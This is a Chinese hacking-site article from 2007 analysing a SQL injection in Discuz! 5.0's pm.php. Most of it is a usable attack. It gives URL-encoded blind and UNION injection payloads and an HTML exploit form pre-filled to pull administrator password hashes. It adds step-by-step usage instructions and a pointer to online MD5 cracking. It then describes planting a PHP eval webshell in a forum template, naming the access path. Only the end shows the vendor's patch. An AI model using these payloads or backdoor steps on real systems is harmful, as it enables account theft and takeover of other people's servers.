| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 原创推荐 >> 正文 用户登录 新用户注册
[组图]关于discuz!5.0  0Day的分析         ★★★ 【字体:
关于discuz!5.0  0Day的分析
作者:怪狗 文章来源:本站原创 点击数: 更新时间:2007-3-24

我不知道关于这个0day的分析有没有人写过,姑且作为华夏黑客联盟的原创吧。
一.关于0Day
    0Day的概念最早用于软件和游戏破解,属于非盈利性和非商业化的组织行为,其基本内涵是“即时性”(Warez)。被许多人误认为是一个最大的软件破解组织,而实际上,Warez如黑客一样,只是一种行为。0Day也是。当时的0Day是指在正版软件或游戏发布的当天甚至之前,发布附带着序列号或者解密器的破解版,让使用者可以不用付费就能长期使用。因此,虽然Warez和0Dday都是反盗版的重要打击对象,却同时受到免费使用者和业内同行的推崇。尽管 Warez和0Day的拥护者对以此而谋利的盗版商不齿,但商业利益的驱动还是将破解行为的商业化推到了高峰。而眼下的0Day,正在对信息安全产生越来 越严重的威胁。
    信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。正所谓看不见的才是最可怕的,这就是0Day的真正威胁。
二.Hello,World
Dz5.0漏洞是谁研究的,我不知道,但是我肯定这个家伙很细心。漏洞出在pm.php中。看如下几处重要地方:
if(empty($msgto) && is_array($msgtobuddys)) {
   $msgto = $msgtobuddys;
  } else {
   $msgtoid = 0;
   $query = $db->query("SELECT m.uid, m.username FROM {$tablepre}members m WHERE username=’$msgto’");
   while($member = $db->fetch_array($query)) {
    if(!strcasecmp(addslashes($member[’username’]), $msgto)) {
     $msgtoid = $member[’uid’];
     break;
    }
   }
/*如果$msgto为空,$msgto = $msgtobuddys。
如果$msgto为非空,产生$msgtoid
……………..*/
   if(!$msgtoid) {
    showmessage(’pm_send_nonexistence’);
   }
/*若没有产生$msgtoid,则显示错误*/
   if(is_array($msgtobuddys)) {
    $msgto = array_merge($msgtobuddys, array($msgtoid));
   } else {
    $msgto = array($msgtoid);
   }
/*判断$msgtoduddys是否为数组,确定$msgto*/
……………(以下略)
$uids = $comma = ’’;
  foreach($msgto as $uid) {
       $uids .= $comma."’$uid’";
    $comma = ’,’;}
/*将$uids数组以逗号割开*/
…………(以下略)
$ignorenum = 0;
  $query = $db->query("SELECT m.username, mf.ignorepm, u.maxpmnum FROM {$tablepre}usergroups u, {$tablepre}members m
   LEFT JOIN {$tablepre}memberfields mf USING(uid)
   WHERE m.uid IN ($uids) AND m.groupid=u.groupid");
/*SQL执行处,IN为范围操作*/
如果仅仅看到这里,也基本就清楚了,$uids来自于$msgto,$msgto来自于$msgtobuddys。SQL中真正执行的是$uids,但是我们用户能提交的只有$msgtobuddys。$msgtobuddys这个变量是从这个可以从抓包中看出的,另外也可以在pm.php的源代码中可以找到他msgtobuddys[],value=”xxxxx”的东西。至于网上有人说具体是哪个文件没过滤?并不准确,其实这一系列下来都没经过过滤。正好IN  ($uids)又给我们提供了一个好的注入平台。
那么我们可以利用了,利用NC提交一些类似如下的东西:
&msgtobuddys%5B%5D=1%29%20and%20left(m.password,1)%3D(0x32)/*(前面抓包部分略)
&msgtobuddys%5B%5D=1%29%20and%20mid(m.password,2,1)%3D(0x32)/*(前面抓包部分略)
…………来看看返回结果吧。当然你完全可以写个小的Perl程序来提交,不过这样很麻烦。
  记得我刚才只是说仅仅看到这里吗?呵呵,其实并没有结束。这个细心的家伙继续看下去了。
      $msgto_count = $db->num_rows($query);
      While($member = $db->fetch_array($query)) {
   if($member[’maxpmnum’] < 1 || preg_match("/(^{ALL}$|(,|^)\s*".preg_quote($discuz_user, ’/’)."\s*(,|$))/i", $member[’ignorepm’])) {
    showmessage(’pm_send_ignore’);)
 /*如果$nember[‘maxpmum’]<1或者$member[‘ignorepm’]包含一个正则表达式(如果正则表达式在“忽略列表”中得到匹配,则返回True)
   Showmessage(‘pm_send_ignore’)返回一个错误。这是最精彩的内容*/
   其实这里应该是试探性的测试,我们可以试着构造一个“忽略列表”,看看返回什么内容。Bingle,返回的内容前面的提示名字几乎和{$tablepre}members.username匹配。如果是这样的话,完全可以用union select联合查询来暴出密码。我们完全可以构造如下语句,并用NC提交:
msgtobuddys%5B%5D=1%29%20union%20select%20password%2C0%2C0%20from%20cdb_members%20where%20uid%3D4%2F*(前面抓包部分略)
即:msgtobuddy[]=1) union select password,0,0 from cdb_members where uid=4/*
    抓包也一样可以完成这个任务,只是一些好心的朋友写了HTML的利用文件感觉挺好的。这里特地为华夏黑客同盟写一份专用的,由于时间比较仓促,随便写的,比较粗糙,不过新增加了个短信验证码功能。程序如下:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>DZ 0Day华夏黑客同盟专用版</title>
</head>
<FORM name=frm method=post target=_blank>Url: <INPUT     
size=45 name=act>
FormHash:<INPUT     
size=8 name=formhash>&nbsp;<INPUT onclick="Javascipt:action=document.all.act.value+’/pm.php?action=send’;frm.submit();" type=button value="提 交" name=Send><br><br>
SQL:<INPUT     
size=65 value=’0) union select password,0,0 from cdb_members where uid=1/*’name=msgtobuddys[]>
验证码:<input type="text" name="seccodeverify" size="5">(有验证码时填写,没有时保留空)
<input type="hidden" name="pmsubmit" value="2">
<input type="hidden" name="subject" value="test">
<input type="hidden" name="message" value="test">
<a href=http://www.cnblogs.com/allyesno/>by %5C</a>
</FORM>
</html>
三.Fly,MY Little Bird
恩,该到他飞翔的时候了,一般我不太喜欢做这样的事。应用方面很简单,按照上面的HTML上需要的内容找就可以了,其实这些都是用WinSock Expert抓包的时候必须发送的内容。不过你首先要注册一个能有权限发短消息的用户。具体步骤是:
1.填写URL:这个是论坛的地址。
2.FormHash:鼠标放到“清除COOKIES”上,可以看到,如图一:


图一
3. 找一个管理员的uid:这个很简单吧,新用户一般没有权限查看管理团队,不过管理员非常喜欢发些置顶的帖子,呵呵,直接去找吧。
4.  好了,这些设置完后,就直接点“发送”吧。如果你运气够好的话,会出现该UID的MD5的32位加密密码哦,如图二:


图二
如果该网站打过最新的DZ5.0补丁,一般会显示如下错误,那么就放弃或者另辟蹊径吧。如图三:


图三
5如何破解MD5密码:可以去下载一个MD5ToolBox软件,或者直接在网站上破解www.xmd5.org,他是以三台计算机建立数据库的形式,大部分常用密码都能破解,而且速度极快。
6.进入后台后该干什么?一般都是进入论坛管理--à模块编辑----à详情--à修改wap.php。然后插入插入一段Lanker的PHP后门:<?php eval($_POST[cmd]);?>。连接地址为:/templates/default/wap.lang.php。
四.Codz End
官方DZ5.0已经做过修改,补丁主要修改部分如下:
$uids = $comma = ’’;
  foreach($msgto as $uid) {
   if(!is_numeric($uid)) {
    showmessage(’pm_send_invalid’);
   } else {
    $uids .= $comma."’$uid’";
    $comma = ’,’;
   }

责任编辑:杨勇  联系方式  Email:杨勇
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各有关法律法规。
    • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
    • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
    • 本站管理员有权保留或删除评论内容。
    • 评论内容只代表网友个人观点,与本网站立场无关。
    • 更多原创作品及讨论、调查请登陆华夏论坛
    姓名: * 游客填写 ·注册用户
    主页:
    评分: 1分 2分 3分 4分 5分
    验证码: *
    最新hack更新
    最新推荐资讯
    相关黑客
    暴库漏洞原理及规律
    暴风影音最新0day分析
    最新科讯科技0day入侵
    百分之九十的IE漏洞
    支付宝控件漏洞利用
    MS08-034服务存在权限提升漏洞
    一路漏洞到webshell
    URL跳转漏洞欺骗邮箱密码
    Dedecms getip()漏洞利用
    交换机漏洞的攻击手段
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号